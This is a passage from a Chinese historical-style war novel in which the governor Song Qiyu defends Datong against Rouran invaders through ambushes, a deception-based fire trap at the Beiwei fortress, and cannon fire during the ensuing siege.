正当宋启愚紧张地轮训大同守军的时候,柔然的可汗也向大将们下达了进一步试探周朝实力的作战命令。一时间,边境地区烽烟四起。首先,柔然军在东西两线分别攻取了渤海沿线的昌黎和延绥地区的府州。其后,柔然骑兵突然进攻中路,对席军民镇守的张家口堡造成了严重的威胁。这些战果的取得,使乌利可汗产生了一种错觉,他认为只要派出足够强大的兵力,便可以轻易夺取周朝的土地。于是,在八月初,乌利可汗下达了动员令。很快,来自全国各地的兵马集结到了敕勒川一带。中秋之后,乌利可汗又亲临阴山脚下,与将领们商讨作战方略,布置进军路线。考虑到东部刚刚经历旱灾,水草供应不足,柔然人最终决定,由大将博尔帖率领两万兵力袭扰燕热地区;由大将忽查率领两万兵马看住武州、妫州的周军,使其不能救援关北;由大将也速该率两万兵马联合西羌攻击上郡,伺机占领延州以北地区;而乌利可汗则亲统十万铁骑攻击地形上相对突出的关北地区,誓死要把大同拿下。 第三十回6 北方的飞螟 先前尝到过甜头的扎兰丁,见可汗即将亲征关北,他心里突然冒出了一个抢立大功的想法。他没有向上请示,而是直接集合了自己所能动用的近万人马,先期向大同杀来。 接到哨探的宋启愚兴奋异常。他对身边的吴襄等人说:“柔然人骄兵必败!还有比这更能提升士气的吗?通知所有都尉以上级军官,巳正到巡抚衙门听令。” 随着一阵急促的战鼓声,二百多名身穿各色衣甲、神色凝重的将领在衙门正厅前施礼高呼:“参见巡抚大人。”宋启愚缓缓站起,说道:“众将请起。也许有的将军已经知道,数千柔然骑兵又向我大同奔来。刚才,我也观察了,有个别将军神情紧张。可是,要叫我说,咱们应该高兴才对。那些从北边扑过来的柔然人,不就是来送死的吗!无论从兵力、地利、训练和壁垒等等方面来说,我们都比敌军强大得多。更何况我们以逸待劳、敌人心浮气躁,我们应该象踩死蝗虫那样,把敌人踏个粉碎。”段卫国跨前一步,朗声说:“大人说得对,莫说是几千柔然兵,就是几万敌人来,他也占不到便宜。”副将郭林也振臂说道:“男子汉大丈夫,为国杀敌,有什么可怕。我郭家守在北疆已有三世,老祖宗留下的土地,咱绝不能给丢了!”接着,又有几位将领表达了强烈的求战欲望。大同知府弓康年拱手说道:“宋大人,众将都愿听您调遣,您就下令吧。”宋启愚坚定地说:“好。拿图纸来。”权正宜赶忙将手里捧着的巨幅地形图展开压在桌边。宋启愚转身指着图纸说:“你们看,咱大同三面环山,东临御河,地势上西北高东南低。其中,北部群山交错,野孤岭和晾马台更是扼住了大同的门户。此次敌人南下,必走两山之间的狭长低地,只要我们在山脊设伏,定能重挫敌军。”宋启愚扫视了一眼诸将,继续说道:“前些时,我派曹可用等人深入敌境,探得消息,柔然大将扎兰丁正向我大同扑来。我料想敌人将在晚些时候经过野孤岭山口,为此,本巡抚军令如下……”宋启愚快步归座,抄起一支令,说道:“庄必成,宋启智。”二人听令答到。宋启愚说:“命你二人率领五百骑兵前出到野孤岭以北埋伏,敌人刚到时不许出击,单等晾马台烽火,拦截斩杀敌人败兵。”庄必成和宋启智接令在手,应诺点兵去了。宋启愚又取出一令,叫道:“李开复,董阳。”两将出列接令。宋启愚说道:“你们领两千弓弩手,埋伏于野孤岭山脊之上,单等山下火起,便放箭杀敌。”两将行礼称诺后,带着所属军官,大踏步向门外走去。宋启愚继续叫道:“张广胜,伍名。”二人出列行礼。宋启愚说:“你们也带两千弓弩手,埋伏在晾马台一侧,单等山下火灭,即可放箭杀敌,随后点燃山上烽火。”二将接过将令,兴冲冲地出衙去了。宋启愚继续命令道:“郭林,毛小。命你二人引一千弓箭手,一千削刀手,埋伏于地堑出口石墙处。你们带上一千桶桐油,排放于山口南侧,待敌军到来,即行点燃。同时,万箭齐发,杀伤敌军。”二将高喊了一声“末将遵命”,就手举着令牌,威风凛凛地出了厅堂。宋启愚又喊道:“常斌,吴襄。令你二人带领五百骑兵,驻扎于郭林、毛小所部后方,待晾马台烽火点燃,即刻冲入山口斩杀敌军。记住,你们的任务仅为击溃敌军,不得向北追击。”二将也听命点兵去了。宋启愚向左右看了看,说道:“康恩,刘戈,你们带十个人到地堑当中埋伏,设置几道绊马索,消灭柔然尖兵,并吸引敌军进谷。”两个人跪地行礼,接令要走。宋启愚补充道:“你们打尖兵时动作要快,向后撤时要稍稍迟慢一些,要让敌人觉得追捕你们是有希望的。总之,你们的任务就是把大队敌兵引进包围圈。”康恩和刘戈再次行礼,高声说:“请大人放心,我二人定然完成军令。”宋启愚又对段卫国说:“段将军,请你领一千兵马接应各路,并清理战场。”段卫国抱拳行礼,领命而去。宋启愚再次站起,对其他将佐们说道:“剩余人员随本巡抚固守大同,备好功劳簿和酒水宴席。待来日,为凯旋的将士庆功。”众军将齐声高喊道:“诺。”余天锡听到最后,发觉没有自己的任务,不免有些失望。他紧走几步,抱拳行礼说:“大人,不知我炮队怎样听用?”宋启愚笑笑说:“我知道你求战心切,但还不是你们出战的时候。火炮是我防卫大同的杀手锏,不到危急关头,不可轻用。你的火炮营,尽管认真训练,到了日子,自然有你们立大功的机会。”余天锡抱拳说:“谨遵大人命令。”大同的军将们离开巡抚衙门的时候,心里就象敞开了两扇大门一样,甭提多痛快了。 等待是最折磨人的东西。申正时分,前出到山口南侧石墙处的军兵们仍不见敌军到来,多少有些焦躁。毛小顺着石墙检查了一圈,压低声音鼓励大家说:“敌人孤军深入,正是我们消灭他们的好时候。若是单打独斗,咱们也许吃点亏;要说排兵布阵,咱就是他们的祖宗。都打起精神来,一会儿跟着我,上去砍翻了这帮畜生。”这时,一只秋后的蚂蚱从北边飞来,落在毛小脚边。他反应奇快,抬脚就把那小东西踩了个稀烂。毛小望着山口方向,咬牙切齿地说:“北方的飞螟,你尽管来。爷爷就在这儿等着你们!” 第三十一回1 关北血战 浩浩平沙风怒吼,粼粼碎石大如斗。秋高柔然马正肥,血战大同攻与守。 申末时分,一个眼尖的士兵突然惊叫道:“柔然骑兵!”康恩和刘戈抬眼望去,果见山口位置出现了几个模糊的影子。康恩命令道:“刘戈,你们几个仍然缩在石头后面,等敌人中了绊马索,咱们再动手。我带俩人就坐在大道当中,吸引他们过来。” 过了片刻,远处的柔然哨探似也发现了康恩等人。他们迟疑了片刻,接着,便派出四名骑兵,向南快速冲来。当敌人离着康恩还有二三百步的时候,康恩装做惊慌失措地喊道:“弟兄们,快跑哇!柔然人来了!”说着,他扔了兵器,往回就跑。几个柔然兵脸上露出了鄙夷的神色。他们抽出弯刀,纵马追赶。随着拽动铁索的“哗楞”声和战马的嘶鸣,四名柔然骑兵因中了绊马索而被摔翻在地。刘戈大吼一声,带着人冲了上去,几下便杀死了两个敌人。另两个柔然兵挣扎着站起来,挥舞着弯刀开始拼命。约莫打斗了二三十个回合,这十名周军仍然没有拿下两个柔然伤兵。刘戈看看远处正在接近的几十个敌人,故作惊恐地喊道:“他们援军来了,咱们还是跑吧!”康恩哆嗦着牵过柔然人的战马想骑上去逃跑,可任他怎样努力就是上不去马背,结果他生气地猛砍了那畜生一刀。那马疼痛难忍,嘶叫一声,瘸着腿四处乱蹿起来。刘戈几人倒还不错,攀上了三匹战马,一路歪斜地向地堑外逃去。 两个受伤的柔然兵用刀拄着地,大口喘着粗气。当他们看到刘戈等人没跑多远就从马背上掉下来时,他俩爆笑着从腰间解下牛角号,用力地吹了起来。远处看到这场面的柔然士兵也吹起了号角,并明显加快了追击的速度。康恩和刘戈跑跑停停,渐渐地将柔然的大部队引进了地堑当中。 毛小趴在矮墙后,远望着柔然大军逼近,兴奋地说:“康恩、刘戈好样的。接下来,就看我们的了。命令部队,做好战斗准备。” 柔然骑兵离矮墙还有百十步的时候,郭林和毛小几乎是同时下达了“点火”命令。转眼之间,摆在矮墙前方的一千桶桐油都被点燃。紧接着,一千名弓箭手发矢如雨,对柔然前锋进行了迎头痛击。毛小还命令一些兵卒把箭蘸了桐油点上火再射向敌军,从而更大地杀伤柔然人。敌军的战马不敢向火墙方向冲击,撂着蹶子左右冲撞后,没命地向北狂奔。一时间,被箭射中、被火烧伤、被马踩倒、被山石碰到的敌人不计其数。虽然柔然人也进行了还击,但对周军的伤害是非常轻微的。 见山下火起,李开复和董阳立即吹响了长哨。两千名弓箭手半蹲着身子,居高临下把箭雨倾泻进了山谷。柔然的士兵和马匹成片成片的倒下。叫喊声、哀鸣声不绝于耳。扎兰丁一边拨打着箭矢,一边大声命令着“撤退”。此时,由于地堑的右侧还没有周军,所以,柔然人很自然地贴向了晾马台一侧。 第三十一回2 关北血战 在晾马台山上,张广胜和伍名焦急地望着山下的熊熊烈火。张广胜不停地以拳击掌,喃喃自语道:“咋还不灭呢?这眼看敌人就要逃跑啦……哎呀!你看看人家野孤岭那边,杀得多带劲……敌人来咱们这边了,还不打,真急人呀!”伍名把哨子凑到嘴边,继续紧盯着山口的火光,咬着牙对左右说:“一会听见哨音,全都给我可劲地放箭。这次,让你们每人带来了上百支箭。别给我节省,都他娘的放出去,杀光了这帮混蛋。”当矮墙处的桐油跳动出最后几点火苗的时候,伍名一跃而起,用尽全身的力气吹响了铁哨。接着,山脊上又响起了几十声哨音。两千名弓箭手弯弓搭箭,一支接一支地把雕翎射向了山下的柔然大军。 这下,柔然人的队伍彻底混乱了。南北两个方向的人马和器械因将令矛盾而挤撞在了一起,道路几乎无法通行。很多骑兵为了不变成活靶子,不得不丢弃自己的马匹,徒步向北逃窜。 当天边只剩下最后一丝阳光时,晾马台上的烽火点燃了。吴襄和常斌抽刀在手,高声喊道:“弟兄们,杀敌立功的时候到了,跟着我冲上去。杀呀!”五百骑兵在两位将领的带领下,又给了柔然人重重的一击。 半个时辰之后,扎兰丁仅带着不到两千败兵连滚带爬地逃出了地堑北口。他回望烽烟滚滚的野孤岭,听着身后不断传来的喊杀声,悲不自胜,掩面大哭。 就在这时,几个柔然兵惊惧地喊道:“敌人!敌人!”还没等扎兰丁弄明白是怎么回事,宋启智跨骑白马挥舞着大刀就冲进了他的军中。最前面的几个柔然兵连武器都还来不及举,便被劈落马下。宋启智一路冲杀,转眼间便斩敌十余,夺军旗两面。其后,庄必成领着五百骑兵呐喊着也杀了过来。又是一场血战。当扎兰丁逃脱周军的追击时,他才发现,自己身边只剩下了几十名亲兵。 从午时开始,身在大同城里的宋启愚就相当紧张。他不断地派出探马前往战场询问情况。他还加强了城防,以备不测。当听闻晾马台上烽烟已经点燃的时候,他长长地舒了一口气,笑着对弓康年等人说:“大事成矣!立即在北卫城盛排筵宴,酬劳出城作战的将士们。本巡抚也当亲自出席,为军将们敬酒庆功。” 子时过后,参加战斗的各支部队陆续撤回了北卫城。人们兴高采烈、意气风发,尤其是那些年纪较轻的兵将。吴襄和常斌率先到达宴厅。他们紧走几步,上前给宋启愚施礼。吴襄手拖着令牌,高叫道:“今日一战,我骑兵大获全胜,斩杀敌军上千人,现来向巡抚大人复命。”宋启愚单手接过令牌,又把他俩扶起来,说道:“将士们都辛苦了,赶快落座吃酒,明日我自会向朝廷上表,为大伙请功。”常斌得意地说:“这仗打得痛快!光我就手刃了十几个敌军咧!”这时,外面传来了一人的喊喝声:“十几个算什么,咱的弓箭营把一两千柔然人射得就象刺猬一样!哈哈哈哈哈哈!”随着声音,李开复和董阳带着几名军将大踏步地走了进来。宋启愚微笑着点点头说:“李将军,光照,辛涛,陈卓还有各位将军,快请入座。你们劳苦功高,本巡抚明日一并给大家请功。”接着,又有十几位将校走进了厅堂。为首的毛小大声说道:“若非大人运筹得当,焉有我等的功劳!”郭林等人也跪下说:“这话不假。咱在关北这几年,净挨柔然欺负了,啥时候这么威风过!”宋启愚一手接过毛小交还的令牌,一手示意众将起身,说道:“毛小,郭林,程元甲,还有各位将军,不必多礼。这一战,你们英勇无畏,指挥有方,打出了咱大周的气势。从今以后,我相信,那些柔然人再也不敢轻视我大同守军……” 第三十一回3 关北血战 随后,所有回城的将士全都开怀畅饮,极尽快乐。宋启愚还带着弓康年等人数次到士兵营区,与普通军兵把酒言欢。这场大酒断断续续,直喝到天光大亮才告结束。 当天下午,宋启愚又在华严寺为百十位阵亡将士举行了隆重的祭奠仪式。大同的军心士气得到了极大的提振,就连普通百姓也纷纷表示要与军队同仇敌忾,保卫桑梓。 几天后,关北大捷的消息传进了京师。同泰帝抱病上朝,对参战将士给予了肯定,又封赏了一干有功人员,并实授宋启愚为关北巡抚。稍作喘息后,同泰帝又说:“随同捷报,宋卿还呈上了一道折本。言说柔然人已经下达了动员令,或许不日又会重兵南侵,希望朝廷早做准备,同时速派援兵北上。昨日晚间,朕与宰执枢密们进行了仔细商议,认为天朝必须有所应对。为此……”同泰帝喉头发痒,爆出了一阵巨咳。赵松寿出班叩拜,说道:“还请陛下保重龙体,不可过度操劳。”冯体仁也跪倒说:“陛下勿忧,臣等已根据圣上指示拟了圣旨,单等陛下过目用印后,便可救援北方。”白晨先帮着同泰帝推了推背,又使人给皇帝献上了茶水。同泰帝呷了一口茶,缓缓咽下后,又说:“好吧,先让刘睿率军北上,进驻澶州,让成王驻扎于黄河以南,拱卫汴梁……”他又咳嗽了数声,支撑着说:“至于宋启愚所奏修筑关北长城一事,待日后,再议吧。”白晨看同泰帝脸色不善,一边招呼内官搀扶着皇上下殿,一边唱道:“陛下退朝。百官行礼。”众官员不敢再言,纷纷恭敬地跪倒磕头呼喊道:“吾皇万岁,万岁,万万岁!” 逃回草原的扎兰丁,自缚双手前往可汗的大帐请罪。乌利虽然十分光火,但脸上却没有表露出来。他严肃地对众将说道:“这样的奇耻大辱,我们一定要洗刷。扎兰丁战败本该处死,可我柔然已经损失了那么多健儿,又怎么能再斩杀自己的勇士呢?不过,刚才哈量台等人说的也不错,我们必须给大漠子民一个交代。”他静静地拔出腰刀,咬牙切齿地剁掉了自己的一个小手指,说道:“就用这个替扎兰丁顶罪吧!拿它供奉长生天,祭奠战死的健儿们。”乌利可汗恨恨地捶了一下桌案,霍然站起,命令道:“全军整备,五日后向大同进军,正式对大周开战!”说完,他抛下在座的将领和感激涕零的扎兰丁,拖着仍在向外淌血的左手,转身进了内帐。 柔然人的集结和进军速度快得惊人。短短八天之后,扎兰丁率领的先锋部队就接近了野孤岭地堑。望着自己曾经惨败的幽深谷地,扎兰丁下马跪拜,指天发誓,一定要用屠城的方式为战死者报仇。他吸取了上次的教训,开始小心翼翼地摸索前进。这次,他们没有遭遇任何抵抗。钻出地堑南口的柔然人,远望着二十里外的大同城,全都摩拳擦掌,跃跃欲试,还有些将领提出了突击北卫城的建议,但扎兰丁却坚决主张原地固守,静待可汗大军到来。 第三十一回4 关北血战 见柔然先头部队只有一万骑兵,宋启智拉着曹可用和段卫国来找宋启愚,要求夜袭柔然大营。宋启愚把兄弟按回了座位,和颜悦色地说:“柔然人上次吃过大亏,这次又非常谨慎,恐怕不易偷袭。我军士气虽旺,但只有区区两万兵马,且还有近五千老弱兵卒,不可轻身冒险。咱们还应以计谋取胜为上。”段卫国一抱拳,解释说:“宋大人,那五千弱兵是朝廷军制所限,可不是段某要喝兵血呀!”宋启愚一笑说:“段将军想到哪儿去了,宋某深知将军忠义,怎么会指责将军呢。也亏得你这几年治军较严,兵员还算齐整,否则,咱这大同可真的危险了。”曹可用拍着段卫国的肩膀说:“老段,宣道大人跟以前那些位巡抚不一样。他宁可把所有的责任都担到自己肩上,也绝不会挑你的错的。这次向圣上请功,宣道不是把你列在一等,而只给了启智兄弟一个二等吗?”曹可用又转脸对宋启愚说:“不过,据我所探,柔然人这次南下的部队少说也有十万人。咱们就这两万兵马,你可得好好筹谋筹谋才行啊!”宋启愚沉吟了一下,郑容说道:“我正有个计谋想找你们商议。”他向前凑了凑,抚着兄弟的背说:“北卫城是咱大同的门户,也是柔然人最为垂涎的地方,咱们若以此为诱饵,不怕柔然人不上钩。”段卫国也凑上前说:“柔然人在北卫城被我赶出去过,他们知道厉害,不会轻易中计吧!”宋启愚又笑了笑说:“前次,咱们抓回来的那几百柔然兵,我让分开关押在囚虏营,现在正好派上用场。”他又看着曹可用说:“上一次战斗你没有参加,这些俘虏应该也没人认识你。你带着手下那几十个懂柔然话的兵卒……” 当天晚上,曹可用和他的一些手下便被关进了囚虏营。曹可用凭借一张巧嘴和久在漠北的见闻,很快就跟几个柔然俘虏搭讪并熟络起来。与此同时,申鲤等人也被派往了北卫城。他们连夜在护城河的木桥下装设了机关。 次日天光大亮后,宋启智来到囚虏营挑选劳力。他先选了几个柔然人,然后骂骂咧咧地说:“他妈的,真是一群脏鬼。闻着他们身上的牛粪味,老子就恶心。要不是急着修北卫城的城门,老子才不来挑这帮王八蛋呢。”说着,他用鞭子随意地点指着曹可用等人,说:“这个,这个,这几个,还有……这几个,这个,这几个,这几个,蒙上他们的眼睛,带着去北卫城干活儿。其他人还关起来。” 这些所谓的“劳力”被带到北卫城后,才知道,原来是关闭城门的绞轮坏掉了,他们的劳动内容就是更换巨大的木绞轮。在劳动的过程中,曹可用不停地撺掇几个真正的柔然俘虏逃跑。到了中午吃饭的时候,这些“劳力”已经制定出了具体的“逃跑计划”。曹可用还向柔然人强调说:“咱们下午先把绞轮彻底破坏。跑的时候,你们几个冲在前面,我来殿后,无论如何,咱们得跑出几个去。”那几个柔然俘虏看着仗义英勇的曹可用,感动得眼中直闪泪光。 第三十一回5 关北血战 与此同时,扎兰丁的军营也有了变化。乌利可汗的幼弟失烈门带领着五千部队赶到了前线。这位失烈门在柔然是出了名的跋扈王爷。他见到扎兰丁,劈头就质问说:“你带着这么多部队,为何还不进攻?”扎兰丁将自己的担忧和理由向失烈门做了解释。可失烈门却嘲笑道:“怪不得阁下老打败仗呢,原来是被吓破胆了!不如本王带着所部现在就出击,教教你怎么打仗。”扎兰丁心中十分不悦,但还是以“军队远征,不可冒进”为由,劝止了失烈门。 到了下午,曹可用等人乘看守不注意,砍折了绞绳和轮轴,这下北卫城的大门彻底无法关闭了。眼看就要掌灯了,宋启智带着几个骑兵悠闲地来到城门处。他抬起鞭子往护城河方向一指,吩咐道:“柔然的大营就在北面山口处,呆在外面太危险了。把吊桥放下。叫那边桥头站岗的弟兄撤回来。”随着一阵“吱嘎”声,吊桥慢慢落下,从护城河外跑回了十七八个周军。 曹可用乘看守们都往城外看的空当,悄悄移到一名看守身侧,飞快地抽出对方的腰刀,扬手就将那名士兵砍翻在地。紧接着,他几个箭步冲到宋启智马后,一下子将宋启智掀落下来。随后,他大声喊道:“动手啦!咱们快跑呀!”他飞身骑上宋启智的战马,回手又坎倒了一个骑兵,叫嚷着:“沃尔达,阿拉木特,快上马。”两个柔然人敏捷地跑过来,攀上了马背。这时,曹可用的手下也跟门前的周军“战”到了一处。甚至还有人点燃了拉动吊桥的绳索。曹可用顾不得那么多,催动坐骑就往吊桥外冲去。 刚过护城河,宋启智领着几个骑兵也追了出来。曹可用大声对一块逃跑的柔然人说:“大营就在北方。要是这样跑,咱们谁也跑不了。我下来抵挡一阵,你们快去搬兵。他们的城门坏了,吊桥也升不上去了,这北卫城今夜就能拿下。你们快走,快走!”说完,曹可用轻轻勒了一下马缰,便从马背上跳了下去。两个柔然人见曹可用如此无畏,没再多说,只是狠命策马向北奔去。待两个柔然人跑远,宋启智收住招式,笑嘻嘻地说:“曹老哥的手劲可真大。也就是我,要是换了别人,非摔坏了不可!”曹可用也呵呵笑着,抱拳说:“五弟,对不住,下手重了些。咱们这就回城,准备迎击敌人。” 大半个时辰之后,两个逃跑的柔然人终于见到了扎兰丁和失烈门。他们将近几日的遭遇讲述了一遍。当说到北卫城大门损毁、吊桥绳索也被烧断时,失烈门挺身站起,兴奋地说:“这是占领大同北卫城最好的时机。咱们应该立刻带领人马前去攻城。”扎兰丁有些犹豫,摆手说:“前次在野孤岭,周军布防严密,战略高超,指挥得当,作战勇敢,可今日,他们怎么会犯这种错误呢?”失烈门狂妄地笑道:“将军真是被周朝人吓破了胆。既然你害怕,你就在这呆着吧。我只率领本部人马前去夺城,待本王拿下了北卫城,看将军怎样见我!”二人又争论了片刻,由于攻下北卫城对柔然人来说实在太有吸引力了,扎兰丁最终还是同意了失烈门的提案,只是要求留下三千人守住野孤岭山口。 第三十一回6 关北血战 子时,柔然人的一万多兵马摸黑潜到了大同的护城河外。失烈门抬眼一望,但见北卫城门前一直延伸到护城河吊桥处全都灯火通明,一百多名周军正在紧张地工作,试图更换缆绳和修复城门。失烈门大喜,对扎兰丁说:“怎么样?险些放过立大功的机会。传令……”扎兰丁阻止他说:“再观察观察,别中了圈套。”失烈门又叫过沃尔达和阿拉木特,问道:“你们是从这里逃回的吗?把你们逃跑的细节再讲一遍。”两个柔然人又把破坏城门和逃走的经过叙述了一番。就在这时,远处吊桥上的周军好象发觉了异样,惊恐地喊道:“柔然人来了!柔然人来了!”随即,那百十个周军扔下手里的工具,飞快地往城内跑去。这下,失烈门和扎兰丁都急了。他们拔出弯刀,向前一指,大声命令道:“全军出击,占领北卫城。冲啊!” 失烈门带着六千多骑兵一边纵马过桥,一边向城墙内外放射着箭矢。北卫城上的抵抗并不激烈,仅有几十名守军零星地抛投石块杀伤敌人。到了城下,失烈门用刀指着城门,命令道:“打开它。”几名士兵扑过去,没费多大力气便将厚重的城门移开了很宽的一道缝。失烈门挥刀高喊:“冲进去,占领北卫城!”柔然骑兵如潮水一般涌进了城内。而在吊桥这边,四千多步兵也在扎兰丁的指挥下,源源不断地跨上浮桥,快速地向城池扑去。护城河北岸仅留下一千名柔然骑兵负责防卫。 又过了小半个时辰,先头的柔然部队终于撞开了瓮城的内门。失烈门得意地带领部下向北卫城内奔去。忽然,四下里响起了一片哨音。紧接着,从前后方向射过来无数火箭,顷刻间,柔然部队便被熊熊烈火包围。柔然士兵哭爹喊娘地到处奔窜,战马也不听使唤地乱跳乱撞。直到这时,失烈门才发现,从瓮城到北卫城南门之间整个被两层木排围着,自己的部队就象钻进了一个到处着火的口袋,根本没有藏身之处。而随着那哨音,北卫城上伏兵四起,巨大的雷石、滚木,密集的梭镖、箭矢,点燃的桐油、火药,被不停地倾泻到柔然人头上;还有那威力巨大的排弓和床子弩,也向柔然乱军投射着一支支比人还长的巨箭。刚刚到达城门外的扎兰丁见势不妙,刚要命令部队撤退,就见一支巨弩飞来,竟将他的战马连同旁边的两名亲兵牢牢地钉在了地上。 扎兰丁翻滚着从地上爬起来。他顾不得满身伤痛,指挥着部队向吊桥退却。可当他到达护城河边时,却傻了眼。但见那水中的浮桥早就“飘”到了城池两端,横亘在他面前的只有一汪四五十丈宽的清水。 柔然将帅正愣神间,申鲤等人嘴里叼着草棍从水中探出了脑袋。申鲤高声说道:“奉宋大人军令,我等拆解了浮桥。尔等已是瓮中之鳖,赶快扔了兵器,跪地请降。否则,我叫你们都成水下之鬼。”扎兰丁哪会听这一套。他摘下弓失,抬手就是一箭。幸亏天黑,又有水波扰动,申鲤才逃过一劫。申鲤大怒,喊道:“不识抬举!咱们在水下等着他们!”随即,一百多个军汉又一次潜入了水底。 虽然柔然人的战斗力非常强悍,兵器也算精良,意志也较坚定,甚至很多贵族的作战品质都是令人敬佩的。不少军将宁可死在冲锋的路上也不愿后退,还有些勇士为了给同伴打开一条生路,奋然冲向熊熊燃烧的木排,但是,在刀剑血火的轮番撞击下,人的倔强很快便被现实击垮。短短一个时辰,柔然人已经死伤了近七千兵马,剩下的残兵败将全都聚集在城门和护城河之间的狭窄地带。 一些会水的柔然兵跳进护城河中,想泅渡逃生。可游不出二十丈,他们便象遭到怪兽袭击一般,被吸进了水底。随着血水冒出,一具具死尸浮出水面,景象煞是瘆人。 原本在城外负责防卫的一千柔然骑兵眼睁睁看着自己的同胞在死亡的边缘挣扎,可这些人绝大多数也不会水,硬是帮不上一点忙。最后,柔然人真急眼了。他们把弓箭手调到岸边,先不停地朝水中放箭,射出一条通路来,再让战马分批驮着士兵泅渡过河。北岸的骑兵也帮着射通水路,即使如此,仍然有不少士兵在水中被杀。约莫过了半个时辰,最后几匹能用来泅渡的战马也逃回了北岸。扎兰丁看着被扔在对岸绝望哀嚎的士兵们,一把拎起瘫软在地的失烈门,怒吼道:“都是你!都是你!一头没有脑子的猪!你还我的部族!你还我的勇士!”失烈门也觉得窝火,痛哭着争辩说:“我的五千精锐不也完了!我们是跟谁作战?天神吗!” 这时,庄必成和宋启智带着五百骑兵从护城河东边杀来,吴襄和常斌领着五百骑兵从护城河西边杀来。扎兰丁不敢再战。他拉上失烈门,抢过两匹战马,抛下被围的士兵,不顾一切地向北逃去。 这场大战结束后,关北军民对宋启愚的崇敬达到了极点。人们纷纷传说,宋启愚是北斗七星中的第六颗转世,是专门保卫北方的神。 第三十二回1 文德门之变 北卫城大战之后的第三天,乌利可汗率领柔然主力到达了野孤岭前线。这位身经百战又有雄才大略的君王没有责罚扎兰丁和失烈门,而是先祭拜了野孤岭战场,又祭奠了在北卫城战死的将士,并派出了大量小股骑兵到大同周边进行哨探。当确认雁门关外并无周朝援兵后,他亲率十万兵马一举包围了大同城。之后,乌利可汗让部队进行了两次试探性的进攻,结果都被击败。随即,他命令大军在大同城外挖堑筑垒,打算长期围困该城。 针对柔然人的部署,宋启愚也对城防进行了相应的调整。考虑到朝廷援军在短时间内难以到达,又念及敌人兵力强大,不能马上击破,宋启愚随向东边的张洪涛和西边的张永德发信求助。由于西北地区也在抗击柔然和西羌的进攻,无力它顾,所以张永德并未理睬关北来的信使。倒是燕热宣慰使张洪涛在了解了关北战况后,下令妫州、武州等地抽调部队,伺机支援大同。可是,武州镇守使马庆明因怨恨宋启愚弹劾过其子马健东,以本地也有战事为名,拒绝出兵关北,并扣下了宣慰使司发往其他各州的调军文书,致使支援关北的军队始终未能组建。 乌利可汗在围城半个月之后,对大同城发动了进攻。宋启愚登上城楼,迅速判断了柔然人的攻击重点。他对身后的将领们说道:“从地形上看,北卫城地势最高,西卫城次之,敌人一定会重兵攻击这两处。而东卫城和南城,敌人均要仰攻,需付出较大代价。故而,段卫国、曹可用。”二将抱拳施礼道:“在。”宋启愚命令道:“你二人即刻领三千兵马到北卫城去,跟那里的庄必成、宋启智一道固守城池。”二将答了声是,转身下城,点兵前去御敌。宋启愚又命令说:“吴襄,常斌,你们领三千兵马到西卫城,跟李开复、董阳共同打击敌军。”二将领令,往西卫城去了。接着,宋启愚又命令张广胜和伍名带着一千弓箭手加强东卫城防御,郭林和姚凯带着一千士兵加强南城防御。待众将走后,宋启愚叫过毛小和申鲤,让他们各带两千兵马随时准备增援各处。最后,宋启愚跟余天锡说:“该让炮队一显身手了。你们训练得怎么样?能投入战斗吗?”余天锡兴奋地说:“咱这五百人早就准备好了,随时都能上战场。”宋启愚坚毅地说:“好。等敌人的第一轮攻击结束,我就大体上能判定出他们究竟要强攻哪里。到时候,你把三十门大炮全都架上城头,集中攻击柔然人的冲锋部队,消灭敌人的有生力量。”余天锡大声叫嚷道:“末将遵令。” 从辰时开始,柔然大将哈量台命令部队反复冲击着北卫城。四千多柔然骑兵来回奔驰,箭发如雨,器械部队运送着砂石木料上前填埋河道。城上的庄必成、宋启智等将领则以弓箭、床子弩还有抛石车打击着敌军。不时有将士倒下,双方的伤亡都很大。在东卫城,张广胜和伍名也在奋力抵挡来自扎兰丁的攻击。在南城,失烈门亲临一线,与士兵们一同攻城,甚至在身中两箭的情况下,也不愿后退。战斗最为激烈的,当属西卫城,柔然宰相摩柯莫命五千重装骑兵前出到护城河边,掩护后面的器械部队架设浮桥。由于这些士兵和战马通身都有重甲保护,动作虽然迟缓,却不会被弓箭所伤。这给周军造成了极大的困扰。董阳恼怒地擂着城垛骂道:“妈的,这些狗日的‘铁浮屠’,咋就射不死呢!命令抛石车加快抛射速度,一定不能让他们把浮桥架起来。”就在这时,一支雕翎向他面门飞来。董阳想躲已经来不及了。他只能最大限度地向旁边甩头。就听“嘣”的一声,董阳中箭,摔倒在几尺开外。身边的士卒赶紧上去抢救。董阳满脸是血,嘴里还喷着血沫说:“托木豆,楼了个的破了……”几个亲兵听不清楚他说什么,先帮他检查了伤势,这才发现他的几颗牙齿被箭镞击落,腮帮子上还被射穿了一个洞。在不远处指挥作战的吴襄跑过来,一边让人替董阳上药包扎,一边吩咐说:“奶奶的,让大伙把箭头都沾上桐油,用火箭射他们。你们再去调几架床子弩来,射穿了这些混蛋。” 第三十二回2 文德门之变 到了巳末时分,哈量台、扎兰丁和失烈门的部队都因伤亡过大,暂时停止了攻击。乌利可汗见摩柯莫已经开始取得战果,便命令全部重装骑兵列阵在西卫城外,并调集另外两个方向上的器械部队也来搭建西边的浮桥。他还命令南、北、东三个方向继续佯攻,拖住守城的周军。 宋启愚站在大同西北的角楼上,观察着敌情变化。他斩钉截铁地命令道:“调炮营到西卫城,给我狠狠地教训柔然骑兵!告诉余天锡,力挽狂澜的时候到了。” 三十门铁炮被运上了城头。余天锡命令部队一遍又一遍检查着炮架的固定情况,弹丸和火药的配备数量,炮膛是否清理干净,炮口是否对准敌阵。最后,余天锡高声叫道:“弟兄们,宋大人刚才传令说,依靠我们炮营力挽狂澜的时候到了。全都以我的哨音为令,往敌军最为密集的地方开炮……”说完,他把铁哨送到嘴边,“嘟嘟嘟”地吹了三响。几百名士兵熟练地进行着装填操作。余天锡看着百丈以外密密麻麻的柔然骑兵,咬了咬牙,发出了点火哨令。硝烟弥漫,地动山摇。三十条火舌呼啸着砸进了柔然的“铁浮屠”阵中。人马倒地,骨断筋折,血肉横飞,哀嚎一片,在电光火石之间,几百名重装骑兵倒在了血泊里。脸上裹着布条,仍在指挥作战的董阳,情不自禁地欢呼道:“虎啊!特虎露!”旁边的亲兵看着他说话跑风的样子也不敢笑。还没等柔然人反应过来,西卫城上再次传来哨音。周军炮兵又进行了第二轮装填。余天锡铁着脸,再一次吹响了铁哨。这一轮发炮给柔然人造成了更加惨重的损失。几百匹受惊的战马,到处乱踢乱撞,被踩死碰伤的柔然士兵不计其数。接着,炮兵们在余天锡的指挥下又进行了多轮炮击。柔然人看着战力最为强悍的“铁浮屠”成片成片地倒下,他们的军心有些动摇了。 